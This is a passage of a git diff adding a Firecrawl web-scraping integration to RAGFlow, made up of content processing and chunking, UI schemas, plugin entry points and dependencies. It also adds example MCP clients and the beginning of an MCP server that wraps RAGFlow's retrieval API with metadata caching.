metadata.""" + if content.metadata and content.metadata.get("language"): + return content.metadata["language"] + + # Simple language detection based on common words + if content.markdown: + text = content.markdown.lower() + if any(word in text for word in ["the", "and", "or", "but", "in", "on", "at"]): + return "en" + elif any(word in text for word in ["le", "la", "les", "de", "du", "des"]): + return "fr" + elif any(word in text for word in ["der", "die", "das", "und", "oder"]): + return "de" + elif any(word in text for word in ["el", "la", "los", "las", "de", "del"]): + return "es" + + return "en" # Default to English + + def create_metadata(self, content: ScrapedContent) -> Dict[str, Any]: + """Create comprehensive metadata for RAGFlow document.""" + metadata = { + "source": "firecrawl", + "url": content.url, + "domain": self.extract_domain(content.url), + "scraped_at": datetime.utcnow().isoformat(), + "status_code": content.status_code, + "content_length": len(content.markdown or ""), + "has_html": bool(content.html), + "has_markdown": bool(content.markdown) + } + + # Add original metadata if available + if content.metadata: + metadata.update({ + "original_title": content.metadata.get("title"), + "original_description": content.metadata.get("description"), + "original_language": content.metadata.get("language"), + "original_keywords": content.metadata.get("keywords"), + "original_robots": content.metadata.get("robots"), + "og_title": content.metadata.get("ogTitle"), + "og_description": content.metadata.get("ogDescription"), + "og_image": content.metadata.get("ogImage"), + "og_url": content.metadata.get("ogUrl") + }) + + return metadata + + def extract_domain(self, url: str) -> str: + """Extract domain from URL.""" + try: + from urllib.parse import urlparse + return urlparse(url).netloc + except Exception: + return "" + + def process_content(self, content: ScrapedContent) -> RAGFlowDocument: + """Process scraped content into RAGFlow document format.""" + if content.error: + raise ValueError(f"Content has error: {content.error}") + + # Determine primary content + primary_content = content.markdown or content.html or "" + if not primary_content: + raise ValueError("No content available to process") + + # Clean content + cleaned_content = self.clean_content(primary_content) + + # Extract metadata + title = self.extract_title(content) + language = self.extract_language(content) + metadata = self.create_metadata(content) + + # Generate document ID + doc_id = self.generate_document_id(content.url, cleaned_content) + + # Create RAGFlow document + document = RAGFlowDocument( + id=doc_id, + title=title, + content=cleaned_content, + source_url=content.url, + metadata=metadata, + created_at=datetime.utcnow(), + updated_at=datetime.utcnow(), + content_type="text", + language=language + ) + + return document + + def process_batch(self, contents: List[ScrapedContent]) -> List[RAGFlowDocument]: + """Process multiple scraped contents into RAGFlow documents.""" + documents = [] + + for content in contents: + try: + document = self.process_content(content) + documents.append(document) + except Exception as e: + self.logger.error(f"Failed to process content from {content.url}: {e}") + continue + + return documents + + def chunk_content(self, document: RAGFlowDocument, + chunk_size: int = 1000, + chunk_overlap: int = 200) -> List[Dict[str, Any]]: + """Chunk document content for RAG processing.""" + content = document.content + chunks = [] + + if len(content) <= chunk_size: + return [{ + "id": f"{document.id}_chunk_0", + "content": content, + "metadata": { + **document.metadata, + "chunk_index": 0, + "total_chunks": 1 + } + }] + + # Split content into chunks + start = 0 + chunk_index = 0 + + while start < len(content): + end = start + chunk_size + + # Try to break at sentence boundary + if end < len(content): + # Look for sentence endings + sentence_end = content.rfind('.', start, end) + if sentence_end > start + chunk_size // 2: + end = sentence_end + 1 + + chunk_content = content[start:end].strip() + + if chunk_content: + chunks.append({ + "id": f"{document.id}_chunk_{chunk_index}", + "content": chunk_content, + "metadata": { + **document.metadata, + "chunk_index": chunk_index, + "total_chunks": len(chunks) + 1, # Will be updated + "chunk_start": start, + "chunk_end": end + } + }) + chunk_index += 1 + + # Move start position with overlap + start = end - chunk_overlap + if start >= len(content): + break + + # Update total chunks count + for chunk in chunks: + chunk["metadata"]["total_chunks"] = len(chunks) + + return chunks + + def validate_document(self, document: RAGFlowDocument) -> bool: + """Validate RAGFlow document.""" + if not document.id: + return False + + if not document.title: + return False + + if not document.content: + return False + + if not document.source_url: + return False + + return True diff --git a/intergrations/firecrawl/firecrawl_ui.py b/intergrations/firecrawl/firecrawl_ui.py new file mode 100644 index 0000000..0660a1e --- /dev/null +++ b/intergrations/firecrawl/firecrawl_ui.py @@ -0,0 +1,259 @@ +""" +UI components for Firecrawl integration in RAGFlow. +""" + +from typing import Dict, Any, List, Optional +from dataclasses import dataclass + + +@dataclass +class FirecrawlUIComponent: + """Represents a UI component for Firecrawl integration.""" + + component_type: str + props: Dict[str, Any] + children: Optional[List['FirecrawlUIComponent']] = None + + +class FirecrawlUIBuilder: + """Builder for Firecrawl UI components in RAGFlow.""" + + @staticmethod + def create_data_source_config() -> Dict[str, Any]: + """Create configuration for Firecrawl data source.""" + return { + "name": "firecrawl", + "display_name": "Firecrawl Web Scraper", + "description": "Import web content using Firecrawl's powerful scraping capabilities", + "icon": "🌐", + "category": "web", + "version": "1.0.0", + "author": "Firecrawl Team", + "config_schema": { + "type": "object", + "properties": { + "api_key": { + "type": "string", + "title": "Firecrawl API Key", + "description": "Your Firecrawl API key (starts with 'fc-')", + "format": "password", + "required": True + }, + "api_url": { + "type": "string", + "title": "API URL", + "description": "Firecrawl API endpoint", + "default": "https://api.firecrawl.dev", + "required": False + }, + "max_retries": { + "type": "integer", + "title": "Max Retries", + "description": "Maximum number of retry attempts", + "default": 3, + "minimum": 1, + "maximum": 10 + }, + "timeout": { + "type": "integer", + "title": "Timeout (seconds)", + "description": "Request timeout in seconds", + "default": 30, + "minimum": 5, + "maximum": 300 + }, + "rate_limit_delay": { + "type": "number", + "title": "Rate Limit Delay", + "description": "Delay between requests in seconds", + "default": 1.0, + "minimum": 0.1, + "maximum": 10.0 + } + }, + "required": ["api_key"] + } + } + + @staticmethod + def create_scraping_form() -> Dict[str, Any]: + """Create form for scraping configuration.""" + return { + "type": "form", + "title": "Firecrawl Web Scraping", + "description": "Configure web scraping parameters", + "fields": [ + { + "name": "urls", + "type": "array", + "title": "URLs to Scrape", + "description": "Enter URLs to scrape (one per line)", + "items": { + "type": "string", + "format": "uri" + }, + "required": True, + "minItems": 1 + }, + { + "name": "scrape_type", + "type": "string", + "title": "Scrape Type", + "description": "Choose scraping method", + "enum": ["single", "crawl", "batch"], + "enumNames": ["Single URL", "Crawl Website", "Batch URLs"], + "default": "single", + "required": True + }, + { + "name": "formats", + "type": "array", + "title": "Output Formats", + "description": "Select output formats", + "items": { + "type": "string", + "enum": ["markdown", "html", "links", "screenshot"] + }, + "default": ["markdown", "html"], + "required": True + }, + { + "name": "crawl_limit", + "type": "integer", + "title": "Crawl Limit", + "description": "Maximum number of pages to crawl (for crawl type)", + "default": 100, + "minimum": 1, + "maximum": 1000, + "condition": { + "field": "scrape_type", + "equals": "crawl" + } + }, + { + "name": "extract_options", + "type": "object", + "title": "Extraction Options", + "description": "Advanced extraction settings", + "properties": { + "extractMainContent": { + "type": "boolean", + "title": "Extract Main Content Only", + "default": True + }, + "excludeTags": { + "type": "array", + "title": "Exclude Tags", + "description": "HTML tags to exclude", + "items": {"type": "string"}, + "default": ["nav", "footer", "header", "aside"] + }, + "includeTags": { + "type": "array", + "title": "Include Tags", + "description": "HTML tags to include", + "items": {"type": "string"}, + "default": ["main", "article", "section", "div", "p"] + } + } + } + ] + } + + @staticmethod + def create_progress_component() -> Dict[str, Any]: + """Create progress tracking component.""" + return { + "type": "progress", + "title": "Scraping Progress", + "description": "Track the progress of your web scraping job", + "properties": { + "show_percentage": True, + "show_eta": True, + "show_details": True + } + } + + @staticmethod + def create_results_view() -> Dict[str, Any]: + """Create results display component.""" + return { + "type": "results", + "title": "Scraping Results", + "description": "View and manage scraped content", + "properties": { + "show_preview": True, + "show_metadata": True, + "allow_editing": True, + "show_chunks": True + } + } + + @staticmethod + def create_error_handler() -> Dict[str, Any]: + """Create error handling component.""" + return { + "type": "error_handler", + "title": "Error Handling", + "description": "Handle scraping errors and retries", + "properties": { + "show_retry_button": True, + "show_error_details": True, + "auto_retry": False, + "max_retries": 3 + } + } + + @staticmethod + def create_validation_rules() -> Dict[str, Any]: + """Create validation rules for Firecrawl integration.""" + return { + "url_validation": { + "pattern": r"^https?://.+", + "message": "URL must start with http:// or https://" + }, + "api_key_validation": { + "pattern": r"^fc-[a-zA-Z0-9]+$", + "message": "API key must start with 'fc-' followed by alphanumeric characters" + }, + "rate_limit_validation": { + "min": 0.1, + "max": 10.0, + "message": "Rate limit delay must be between 0.1 and 10.0 seconds" + } + } + + @staticmethod + def create_help_text() -> Dict[str, str]: + """Create help text for users.""" + return { + "api_key_help": "Get your API key from https://firecrawl.dev. Sign up for a free account to get started.", + "url_help": "Enter the URLs you want to scrape. You can add multiple URLs for batch processing.", + "crawl_help": "Crawling will follow links from the starting URL and scrape all accessible pages within the limit.", + "formats_help": "Choose the output formats you need. Markdown is recommended for RAG processing.", + "extract_help": "Extraction options help filter content to get only the main content without navigation and ads." + } + + @staticmethod + def create_ui_schema() -> Dict[str, Any]: + """Create complete UI schema for Firecrawl integration.""" + return { + "version": "1.0.0", + "components": { + "data_source_config": FirecrawlUIBuilder.create_data_source_config(), + "scraping_form": FirecrawlUIBuilder.create_scraping_form(), + "progress_component": FirecrawlUIBuilder.create_progress_component(), + "results_view": FirecrawlUIBuilder.create_results_view(), + "error_handler": FirecrawlUIBuilder.create_error_handler() + }, + "validation_rules": FirecrawlUIBuilder.create_validation_rules(), + "help_text": FirecrawlUIBuilder.create_help_text(), + "workflow": [ + "configure_data_source", + "setup_scraping_parameters", + "start_scraping_job", + "monitor_progress", + "review_results", + "import_to_ragflow" + ] + } diff --git a/intergrations/firecrawl/integration.py b/intergrations/firecrawl/integration.py new file mode 100644 index 0000000..b4fbf6c --- /dev/null +++ b/intergrations/firecrawl/integration.py @@ -0,0 +1,149 @@ +""" +RAGFlow Integration Entry Point for Firecrawl + +This file provides the main entry point for the Firecrawl integration with RAGFlow. +It follows RAGFlow's integration patterns and provides the necessary interfaces. +""" + +from typing import Dict, Any +import logging + +from ragflow_integration import RAGFlowFirecrawlIntegration, create_firecrawl_integration +from firecrawl_ui import FirecrawlUIBuilder + +# Set up logging +logger = logging.getLogger(__name__) + + +class FirecrawlRAGFlowPlugin: + """ + Main plugin class for Firecrawl integration with RAGFlow. + This class provides the interface that RAGFlow expects from integrations. + """ + + def __init__(self): + """Initialize the Firecrawl plugin.""" + self.name = "firecrawl" + self.display_name = "Firecrawl Web Scraper" + self.description = "Import web content using Firecrawl's powerful scraping capabilities" + self.version = "1.0.0" + self.author = "Firecrawl Team" + self.category = "web" + self.icon = "🌐" + + logger.info(f"Initialized {self.display_name} plugin v{self.version}") + + def get_plugin_info(self) -> Dict[str, Any]: + """Get plugin information for RAGFlow.""" + return { + "name": self.name, + "display_name": self.display_name, + "description": self.description, + "version": self.version, + "author": self.author, + "category": self.category, + "icon": self.icon, + "supported_formats": ["markdown", "html", "links", "screenshot"], + "supported_scrape_types": ["single", "crawl", "batch"] + } + + def get_config_schema(self) -> Dict[str, Any]: + """Get configuration schema for RAGFlow.""" + return FirecrawlUIBuilder.create_data_source_config()["config_schema"] + + def get_ui_schema(self) -> Dict[str, Any]: + """Get UI schema for RAGFlow.""" + return FirecrawlUIBuilder.create_ui_schema() + + def validate_config(self, config: Dict[str, Any]) -> Dict[str, Any]: + """Validate configuration and return any errors.""" + try: + integration = create_firecrawl_integration(config) + return integration.validate_config(config) + except Exception as e: + logger.error(f"Configuration validation error: {e}") + return {"general": str(e)} + + def test_connection(self, config: Dict[str, Any]) -> Dict[str, Any]: + """Test connection to Firecrawl API.""" + try: + integration = create_firecrawl_integration(config) + # Run the async test_connection method + import asyncio + return asyncio.run(integration.test_connection()) + except Exception as e: + logger.error(f"Connection test error: {e}") + return { + "success": False, + "error": str(e), + "message": "Connection test failed" + } + + def create_integration(self, config: Dict[str, Any]) -> RAGFlowFirecrawlIntegration: + """Create and return a Firecrawl integration instance.""" + return create_firecrawl_integration(config) + + def get_help_text(self) -> Dict[str, str]: + """Get help text for users.""" + return FirecrawlUIBuilder.create_help_text() + + def get_validation_rules(self) -> Dict[str, Any]: + """Get validation rules for configuration.""" + return FirecrawlUIBuilder.create_validation_rules() + + +# RAGFlow integration entry points +def get_plugin() -> FirecrawlRAGFlowPlugin: + """Get the plugin instance for RAGFlow.""" + return FirecrawlRAGFlowPlugin() + + +def get_integration(config: Dict[str, Any]) -> RAGFlowFirecrawlIntegration: + """Get an integration instance with the given configuration.""" + return create_firecrawl_integration(config) + + +def get_config_schema() -> Dict[str, Any]: + """Get the configuration schema.""" + return FirecrawlUIBuilder.create_data_source_config()["config_schema"] + + +def get_ui_schema() -> Dict[str, Any]: + """Get the UI schema.""" + return FirecrawlUIBuilder.create_ui_schema() + + +def validate_config(config: Dict[str, Any]) -> Dict[str, Any]: + """Validate configuration.""" + try: + integration = create_firecrawl_integration(config) + return integration.validate_config(config) + except Exception as e: + return {"general": str(e)} + + +def test_connection(config: Dict[str, Any]) -> Dict[str, Any]: + """Test connection to Firecrawl API.""" + try: + integration = create_firecrawl_integration(config) + return integration.test_connection() + except Exception as e: + return { + "success": False, + "error": str(e), + "message": "Connection test failed" + } + + +# Export main functions and classes +__all__ = [ + "FirecrawlRAGFlowPlugin", + "get_plugin", + "get_integration", + "get_config_schema", + "get_ui_schema", + "validate_config", + "test_connection", + "RAGFlowFirecrawlIntegration", + "create_firecrawl_integration" +] diff --git a/intergrations/firecrawl/ragflow_integration.py b/intergrations/firecrawl/ragflow_integration.py new file mode 100644 index 0000000..2d0bfe4 --- /dev/null +++ b/intergrations/firecrawl/ragflow_integration.py @@ -0,0 +1,175 @@ +""" +Main integration file for Firecrawl with RAGFlow. +This file provides the interface between RAGFlow and the Firecrawl plugin. +""" + +import logging +from typing import List, Dict, Any + +from firecrawl_connector import FirecrawlConnector +from firecrawl_config import FirecrawlConfig +from firecrawl_processor import FirecrawlProcessor, RAGFlowDocument +from firecrawl_ui import FirecrawlUIBuilder + + +class RAGFlowFirecrawlIntegration: + """Main integration class for Firecrawl with RAGFlow.""" + + def __init__(self, config: FirecrawlConfig): + """Initialize the integration.""" + self.config = config + self.connector = FirecrawlConnector(config) + self.processor = FirecrawlProcessor() + self.logger = logging.getLogger(__name__) + + async def scrape_and_import(self, urls: List[str], + formats: List[str] = None, + extract_options: Dict[str, Any] = None) -> List[RAGFlowDocument]: + """Scrape URLs and convert to RAGFlow documents.""" + if formats is None: + formats = ["markdown", "html"] + + async with self.connector: + # Scrape URLs + scraped_contents = await self.connector.batch_scrape(urls, formats) + + # Process into RAGFlow documents + documents = self.processor.process_batch(scraped_contents) + + return documents + + async def crawl_and_import(self, start_url: str, + limit: int = 100, + scrape_options: Dict[str, Any] = None) -> List[RAGFlowDocument]: + """Crawl a website and convert to RAGFlow documents.""" + if scrape_options is None: + scrape_options = {"formats": ["markdown", "html"]} + + async with self.connector: + # Start crawl job + crawl_job = await self.connector.start_crawl(start_url, limit, scrape_options) + + if crawl_job.error: + raise Exception(f"Failed to start crawl: {crawl_job.error}") + + # Wait for completion + completed_job = await self.connector.wait_for_crawl_completion(crawl_job.job_id) + + if completed_job.error: + raise Exception(f"Crawl failed: {completed_job.error}") + + # Process into RAGFlow documents + documents = self.processor.process_batch(completed_job.data or []) + + return documents + + def get_ui_schema(self) -> Dict[str, Any]: + """Get UI schema for RAGFlow integration.""" + return FirecrawlUIBuilder.create_ui_schema() + + def validate_config(self, config_dict: Dict[str, Any]) -> Dict[str, Any]: + """Validate configuration and return any errors.""" + errors = {} + + # Validate API key + api_key = config_dict.get("api_key", "") + if not api_key: + errors["api_key"] = "API key is required" + elif not api_key.startswith("fc-"): + errors["api_key"] = "API key must start with 'fc-'" + + # Validate API URL + api_url = config_dict.get("api_url", "https://api.firecrawl.dev") + if not api_url.startswith("http"): + errors["api_url"] = "API URL must start with http:// or https://" + + # Validate numeric fields + try: + max_retries = int(config_dict.get("max_retries", 3)) + if max_retries < 1 or max_retries > 10: + errors["max_retries"] = "Max retries must be between 1 and 10" + except (ValueError, TypeError): + errors["max_retries"] = "Max retries must be a valid integer" + + try: + timeout = int(config_dict.get("timeout", 30)) + if timeout < 5 or timeout > 300: + errors["timeout"] = "Timeout must be between 5 and 300 seconds" + except (ValueError, TypeError): + errors["timeout"] = "Timeout must be a valid integer" + + try: + rate_limit_delay = float(config_dict.get("rate_limit_delay", 1.0)) + if rate_limit_delay < 0.1 or rate_limit_delay > 10.0: + errors["rate_limit_delay"] = "Rate limit delay must be between 0.1 and 10.0 seconds" + except (ValueError, TypeError): + errors["rate_limit_delay"] = "Rate limit delay must be a valid number" + + return errors + + def create_config(self, config_dict: Dict[str, Any]) -> FirecrawlConfig: + """Create FirecrawlConfig from dictionary.""" + return FirecrawlConfig.from_dict(config_dict) + + async def test_connection(self) -> Dict[str, Any]: + """Test the connection to Firecrawl API.""" + try: + async with self.connector: + # Try to scrape a simple URL to test connection + test_url = "https://httpbin.org/json" + result = await self.connector.scrape_url(test_url, ["markdown"]) + + if result.error: + return { + "success": False, + "error": result.error, + "message": "Failed to connect to Firecrawl API" + } + + return { + "success": True, + "message": "Successfully connected to Firecrawl API", + "test_url": test_url, + "response_time": "N/A" # Could be enhanced to measure actual response time + } + + except Exception as e: + return { + "success": False, + "error": str(e), + "message": "Connection test failed" + } + + def get_supported_formats(self) -> List[str]: + """Get list of supported output formats.""" + return ["markdown", "html", "links", "screenshot"] + + def get_supported_scrape_types(self) -> List[str]: + """Get list of supported scrape types.""" + return ["single", "crawl", "batch"] + + def get_help_text(self) -> Dict[str, str]: + """Get help text for users.""" + return FirecrawlUIBuilder.create_help_text() + + def get_validation_rules(self) -> Dict[str, Any]: + """Get validation rules for configuration.""" + return FirecrawlUIBuilder.create_validation_rules() + + +# Factory function for creating integration instance +def create_firecrawl_integration(config_dict: Dict[str, Any]) -> RAGFlowFirecrawlIntegration: + """Create a Firecrawl integration instance from configuration.""" + config = FirecrawlConfig.from_dict(config_dict) + return RAGFlowFirecrawlIntegration(config) + + +# Export main classes and functions +__all__ = [ + "RAGFlowFirecrawlIntegration", + "create_firecrawl_integration", + "FirecrawlConfig", + "FirecrawlConnector", + "FirecrawlProcessor", + "RAGFlowDocument" +] diff --git a/intergrations/firecrawl/requirements.txt b/intergrations/firecrawl/requirements.txt new file mode 100644 index 0000000..53b39c4 --- /dev/null +++ b/intergrations/firecrawl/requirements.txt @@ -0,0 +1,31 @@ +# Firecrawl Plugin for RAGFlow - Dependencies + +# Core dependencies +aiohttp>=3.8.0 +asyncio-throttle>=1.0.0 + +# Data processing +pydantic>=2.0.0 +python-dateutil>=2.8.0 + +# HTTP and networking +urllib3>=1.26.0 +requests>=2.28.0 + +# Logging and monitoring +structlog>=22.0.0 + +# Optional: For advanced content processing +beautifulsoup4>=4.11.0 +lxml>=4.9.0 +html2text>=2020.1.16 + +# Optional: For enhanced error handling +tenacity>=8.0.0 + +# Development dependencies (optional) +pytest>=7.0.0 +pytest-asyncio>=0.21.0 +black>=22.0.0 +flake8>=5.0.0 +mypy>=1.0.0 diff --git a/main.py b/main.py new file mode 100644 index 0000000..5596b44 --- /dev/null +++ b/main.py @@ -0,0 +1,16 @@ +# This is a sample Python script. + +# Press Shift+F10 to execute it or replace it with your code. +# Press Double Shift to search everywhere for classes, files, tool windows, actions, and settings. + + +def print_hi(name): + # Use a breakpoint in the code line below to debug your script. + print(f'Hi, {name}') # Press Ctrl+F8 to toggle the breakpoint. + + +# Press the green button in the gutter to run the script. +if __name__ == '__main__': + print_hi('PyCharm') + +# See PyCharm help at https://www.jetbrains.com/help/pycharm/ diff --git a/mcp/client/client.py b/mcp/client/client.py new file mode 100644 index 0000000..3c54ea0 --- /dev/null +++ b/mcp/client/client.py @@ -0,0 +1,47 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + + +from mcp.client.session import ClientSession +from mcp.client.sse import sse_client + + +async def main(): + try: + # To access RAGFlow server in `host` mode, you need to attach `api_key` for each request to indicate identification. + # async with sse_client("http://localhost:9382/sse", headers={"api_key": "ragflow-IyMGI1ZDhjMTA2ZTExZjBiYTMyMGQ4Zm"}) as streams: + # Or follow the requirements of OAuth 2.1 Section 5 with Authorization header + # async with sse_client("http://localhost:9382/sse", headers={"Authorization": "Bearer ragflow-IyMGI1ZDhjMTA2ZTExZjBiYTMyMGQ4Zm"}) as streams: + + async with sse_client("http://localhost:9382/sse") as streams: + async with ClientSession( + streams[0], + streams[1], + ) as session: + await session.initialize() + tools = await session.list_tools() + print(f"{tools.tools=}") + response = await session.call_tool(name="ragflow_retrieval", arguments={"dataset_ids": ["ce3bb17cf27a11efa69751e139332ced"], "document_ids": [], "question": "How to install neovim?"}) + print(f"Tool response: {response.model_dump()}") + + except Exception as e: + print(e) + + +if __name__ == "__main__": + from anyio import run + + run(main) diff --git a/mcp/client/streamable_http_client.py b/mcp/client/streamable_http_client.py new file mode 100644 index 0000000..ec679e6 --- /dev/null +++ b/mcp/client/streamable_http_client.py @@ -0,0 +1,36 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from mcp import ClientSession +from mcp.client.streamable_http import streamablehttp_client + + +async def main(): + try: + async with streamablehttp_client("http://localhost:9382/mcp/") as (read_stream, write_stream, _): + async with ClientSession(read_stream, write_stream) as session: + await session.initialize() + tools = await session.list_tools() + print(f"{tools.tools=}") + response = await session.call_tool(name="ragflow_retrieval", arguments={"dataset_ids": ["bc4177924a7a11f09eff238aa5c10c94"], "document_ids": [], "question": "How to install neovim?"}) + print(f"Tool response: {response.model_dump()}") + except Exception as e: + print(e) + + +if __name__ == "__main__": + from anyio import run + + run(main) diff --git a/mcp/server/server.py b/mcp/server/server.py new file mode 100644 index 0000000..8d0d12c --- /dev/null +++ b/mcp/server/server.py @@ -0,0 +1,715 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import json +import logging +import random +import time +from collections import OrderedDict +from collections.abc import AsyncIterator +from contextlib import asynccontextmanager +from functools import wraps + +import click +import requests +from starlette.applications import Starlette +from starlette.middleware import Middleware +from starlette.responses import JSONResponse, Response +from starlette.routing import Mount, Route +from strenum import StrEnum + +import mcp.types as types +from mcp.server.lowlevel import Server + + +class LaunchMode(StrEnum): + SELF_HOST = "self-host" + HOST = "host" + + +class Transport(StrEnum): + SSE = "sse" + STEAMABLE_HTTP = "streamable-http" + + +BASE_URL = "http://127.0.0.1:9380" +HOST = "127.0.0.1" +PORT = "9382" +HOST_API_KEY = "" +MODE = "" +TRANSPORT_SSE_ENABLED = True +TRANSPORT_STREAMABLE_HTTP_ENABLED = True +JSON_RESPONSE = True + + +class RAGFlowConnector: + _MAX_DATASET_CACHE = 32 + _MAX_DOCUMENT_CACHE = 128 + _CACHE_TTL = 300 + + _dataset_metadata_cache: OrderedDict[str, tuple[dict, float | int]] = OrderedDict() # "dataset_id" -> (metadata, expiry_ts) + _document_metadata_cache: OrderedDict[str, tuple[list[tuple[str, dict]], float | int]] = OrderedDict() # "dataset_id" -> ([(document_id, doc_metadata)], expiry_ts) + + def __init__(self, base_url: str, version="v1"): + self.base_url = base_url + self.version = version + self.api_url = f"{self.base_url}/api/{self.version}" + + def bind_api_key(self, api_key: str): + self.api_key = api_key + self.authorization_header = {"Authorization": "{} {}".format("Bearer", self.api_key)} + + def _post(self, path, json=None, stream=False, files=None): + if not self.api_key: + return None + res = requests.post(url=self.api_url + path, json=json, headers=self.authorization_header, stream=stream, files=files) + return res + + def _get(self, path, params=None, json=None): + res = requests.get(url=self.api_url + path, params=params, headers=self.authorization_header, json=json) + return res + + def _is_cache_valid(self, ts): + return time.time() < ts + + def _get_expiry_timestamp(self): + offset = random.randint(-30, 30) + return time.time() + self._CACHE_TTL + offset + + def _get_cached_dataset_metadata(self, dataset_id): + entry = self._dataset_metadata_cache.get(dataset_id) + if entry: + data, ts = entry + if self._is_cache_valid(ts): + self._dataset_metadata_cache.move_to_end(dataset_id) + return data + return None + + def _set_cached_dataset_metadata(self, dataset_id, metadata): + self._dataset_metadata_cache[dataset_id] = (metadata, self._get_expiry_timestamp()) + self._dataset_metadata_cache.move_to_end(dataset_id) + if len(self._dataset_metadata_cache) > self._MAX_DATASET_CACHE: + self._dataset_metadata_cache.popitem(last=False) + + def _get_cached_document_metadata_by_dataset(self, dataset_id): + entry = self._document_metadata_cache.get(dataset_id) + if entry: + data_list, ts = entry + if self._is_cache_valid(ts): + self._document_metadata_cache.move_to_end(dataset_id) + return {doc_id: doc_meta for doc_id, doc_meta in data_list} + return None + + def _set_cached_document_metadata_by_dataset(self, dataset_id, doc_id_meta_list): + self._document_metadata_cache[dataset_id] = (doc_id_meta_list, self._get_expiry_timestamp()) + self._document_metadata_cache.move_to_end(dataset_id) + if len(self._document_metadata_cache) > self._MAX_DOCUMENT_CACHE: + self._document_metadata_cache.popitem(last=False) + + def list_datasets(self, page: int = 1, page_size: int = 1000, orderby: str = "create_time", desc: bool = True, id: str | None = None, name: str | None = None): + res = self._get("/datasets", {"page": page, "page_size": page_size, "orderby": orderby, "desc": desc, "id": id, "name": name}) + if not res: + raise Exception([types.TextContent(type="text", text=res.get("Cannot process this operation."))]) + + res = res.json() + if res.get("code") == 0: + result_list = [] + for data in res["data"]: + d = {"description": data["description"], "id": data["id"]} + result_list.append(json.dumps(d, ensure_ascii=False)) + return "\n".join(result_list) + return "" + + def retrieval( + self, + dataset_ids, + document_ids=None, + question="", + page=1, + page_size=30, + similarity_threshold=0.2, + vector_similarity_weight=0.3, + top_k=1024, + rerank_id: str | None = None, + keyword: bool = False, + force_refresh: bool = False, + ): + if document_ids is None: + document_ids = [] + + # If no dataset_ids provided or empty list, get all available dataset IDs + if not dataset_ids: + dataset_list_str = self.list_datasets() + dataset_ids = [] + + # Parse the dataset list to extract IDs + if dataset_list_str: + for line in dataset_list_str.strip().split('\n'): + if line.strip(): + try: + dataset_info = json.loads(line.strip()) + dataset_ids.append(dataset_info["id"]) + except (json.JSONDecodeError, KeyError): + # Skip malformed lines + continue + + data_json = { + "page": page, + "page_size": page_size, + "similarity_threshold": similarity_threshold, + "vector_similarity_weight": vector_similarity_weight, + "top_k": top_k, + "rerank_id": rerank_id, + "keyword": keyword, + "question": question, + "dataset_ids": dataset_ids, + "document_ids": document_ids, + } + # Send a POST request to the backend service (using requests library as an example, actual implementation may vary) + res = self._post("/retrieval", json=data_json) + if not res: + raise Exception([types.TextContent(type="text", text=res.get("Cannot process this operation."))]) + + res = res.json() + if res.get("code") == 0: + data = res["data"] + chunks = [] + + # Cache document metadata and dataset information + document_cache, dataset_cache = self._get_document_metadata_cache(dataset_ids, force_refresh=force_refresh) + + # Process chunks with enhanced field mapping including per-chunk metadata + for chunk_data in data.get("chunks", []): + enhanced_chunk = self._map_chunk_fields(chunk_data, dataset_cache, document_cache) + chunks.append(enhanced_chunk) + + # Build structured response (no longer need response-level document_metadata) + response = { + "chunks": chunks, + "pagination": { + "page": data.get("page", page), + "page_size": data.get("page_size", page_size), + "total_chunks": data.get("total", len(chunks)), + "total_pages": (data.get("total", len(chunks)) + page_size - 1) // page_size, + }, + "query_info": { + "question": question, + "similarity_threshold": similarity_threshold, + "vector_weight": vector_similarity_weight, + "keyword_search": keyword, + "dataset_count": len(dataset_ids), + }, + } + + return [types.TextContent(type="text", text=json.dumps(response, ensure_ascii=False))] + + raise Exception([types.TextContent(type="text", text=res.get("message"))]) + + def _get_document_metadata_cache(self, dataset_ids, force_refresh=False): + """Cache document metadata for all documents in the specified datasets""" + document_cache = {} + dataset_cache = {} + + try: + for dataset_id in dataset_ids: + dataset_meta = None if force_refresh else self._get_cached_dataset_metadata(dataset_id) + if not dataset_meta: + # First get dataset info for name + dataset_res = self._get("/datasets", {"id": dataset_id, "page_size": 1}) + if dataset_res and dataset_res.status_code == 200: + dataset_data = dataset_res.json() + if dataset_data.get("code") == 0 and dataset_data.get("data"): + dataset_info = dataset_data["data"][0] + dataset_meta = {"name": dataset_info.get("name", "Unknown"), "description": dataset_info.get("description", "")} + self._set_cached_dataset_metadata(dataset_id, dataset_meta) + if dataset_meta: + dataset_cache[dataset_id] = dataset_meta + + docs = None if force_refresh else self._get_cached_document_metadata_by_dataset(dataset_id) + if docs is None: + docs_res = self._get(f"/datasets/{dataset_id}/documents") + docs_data = docs_res.json() + if docs_data.get("code") == 0 and docs_data.get("data", {}).get("docs"): + doc_id_meta_list = [] + docs = {} + for doc in docs_data["data"]["docs"]: + doc_id = doc.get("id") + if not doc_id: + continue + doc_meta = { + "document_id": doc_id, + "name": doc.get("name", ""), + "location": doc.get("location", ""), + "type": doc.get("type", ""), + "size": doc.get("size"), + "chunk_count": doc.get("chunk_count"), + # "chunk_method": doc.get("chunk_method", ""), + "create_date": doc.get("create_date", ""), + "update_date": doc.get("update_date", ""), + # "process_begin_at": doc.get("process_begin_at", ""), + # "process_duration": doc.get("process_duration"), + # "progress": doc.get("progress"), + # "progress_msg": doc.get("progress_msg", ""), + # "status": doc.get("status", ""), + # 